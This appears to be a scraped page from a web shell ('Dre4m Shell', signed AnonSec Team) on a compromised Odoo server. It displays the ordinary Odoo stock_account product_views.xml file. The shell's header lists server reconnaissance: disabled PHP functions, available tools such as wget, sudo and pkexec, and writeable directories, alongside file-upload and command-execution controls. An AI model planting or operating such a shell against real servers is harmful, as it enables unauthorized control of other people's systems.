Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.145.49.72
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/stock_account/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/stock_account/views/product_views.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>
    <data>

        <record id="view_category_property_form" model="ir.ui.view">
            <field name="name">product.category.stock.property.form.inherit</field>
            <field name="model">product.category</field>
            <field name="inherit_id" ref="account.view_category_property_form"/>
            <field name="arch" type="xml">
                <group name="account_property" position="inside">
                    <group name="account_stock_property" string="Account Stock Properties">
                        <field name="property_stock_account_input_categ_id" domain="[('deprecated', '=', False)]"/>
                        <field name="property_stock_account_output_categ_id" domain="[('deprecated', '=', False)]"/>
                        <field name="property_stock_valuation_account_id" domain="[('deprecated', '=', False)]"/>
                        <field name="property_stock_journal"/>
                    </group>
                </group>
                <group name="account_property" position="before">
                    <group>
                        <group string="Inventory Valuation">
                            <field name="property_cost_method" groups="stock_account.group_inventory_valuation"/>
                            <field name="property_valuation"/>
                        </group>
                    </group>
                </group>
            </field>
        </record>

        <record id="view_template_property_form" model="ir.ui.view">
            <field name="name">product.template.stock.property.form.inherit</field>
            <field name="model">product.template</field>
            <field name="inherit_id" ref="product.product_template_form_view"/>
            <field name="arch" type="xml">
                <data>
                    <field name="list_price" position="after">
                        <field name="valuation" invisible="1" readonly="1"/>
                        <field name="cost_method" invisible="1" readonly="1"/>
                        <field name="property_cost_method" groups="stock_account.group_inventory_valuation" invisible="1"/>
                    </field>
                    <field name="standard_price" position="replace">
                        <field name="standard_price"
                            attrs="{'readonly':['&amp;', ('valuation','=','real_time'), ('cost_method', 'in', ['standard', 'average'])]}" class="oe_inline"
                            widget='monetary' options="{'currency_field': 'currency_id'}"/>
                    </field>
                    <div name="standard_price_uom" position="after">
                        <button string="Set standard price" type="action"
                            name="%(action_view_change_standard_price)d"
                            attrs="{'invisible':['|', '|', ('valuation','!=', 'real_time'), ('cost_method', 'not in', ['standard']), ('product_variant_count', '>', 1)]}"
                            class="oe_link oe_read_only" colspan="2"
                            groups="stock_account.group_inventory_valuation"/>
                    </div>
                    <div name="standard_price_uom" position="after">
                        <button string="Set standard price" type="action"
                            name="%(action_view_change_standard_price)d"
                            attrs="{'invisible':['|', '|', ('valuation','!=', 'real_time'), ('cost_method', 'not in', ['average']), ('product_variant_count', '>', 1)]}"
                            class="oe_link oe_read_only" colspan="2"
                            groups="stock_account.group_inventory_valuation"/>
                    </div>
                    <group name="accounting" position="inside">
                        <group name="property_inventory_valuation" groups="stock_account.group_inventory_valuation" attrs="{'invisible': [('type','=','service')]}">
                            <field name="property_valuation" invisible="1"/>
                            <field name="property_stock_account_input"
                                attrs="{'invisible':[ ('valuation', '!=', 'real_time')]}"
                                domain="[('deprecated', '=', False)]"/>
                            <field name="property_stock_account_output"
                                attrs="{'invisible':[ ('valuation', '!=', 'real_time')]}"
                                domain="[('deprecated', '=', False)]"/>
                        </group>
                    </group>
                </data>
            </field>
        </record>

        <record id="product_variant_easy_edit_view_inherit" model="ir.ui.view">
            <field name="name">product.product.product.view.form.easy.inherit</field>
            <field name="model">product.product</field>
            <field name="inherit_id" ref="product.product_variant_easy_edit_view"/>
            <field name="arch" type="xml">
                <data>
                    <field name="standard_price" position="after">
                        <field name="valuation" invisible="1"/>
                        <field name="cost_method" invisible="1"/>
                    </field>
                    <field name="standard_price" position="after">
                        <button string="Set standard price" type="action"
                            name="%(action_view_change_standard_price)d"
                            attrs="{'invisible':['|',('valuation','!=', 'real_time'), ('cost_method', 'not in', ['standard'])]}"
                            class="oe_link oe_read_only" colspan="2"
                            groups="stock_account.group_inventory_valuation"/>
                    </field>
                    <field name="standard_price" position="after">
                        <button string="Set standard price" type="action"
                            name="%(action_view_change_standard_price)d"
                            attrs="{'invisible':['|',('valuation','!=', 'real_time'), ('cost_method', 'not in', ['average'])]}"
                            class="oe_link oe_read_only" colspan="2"
                            groups="stock_account.group_inventory_valuation"/>
                    </field>
                </data>
            </field>
        </record>
    </data>
</odoo>

Anon7 - 2022
AnonSec Team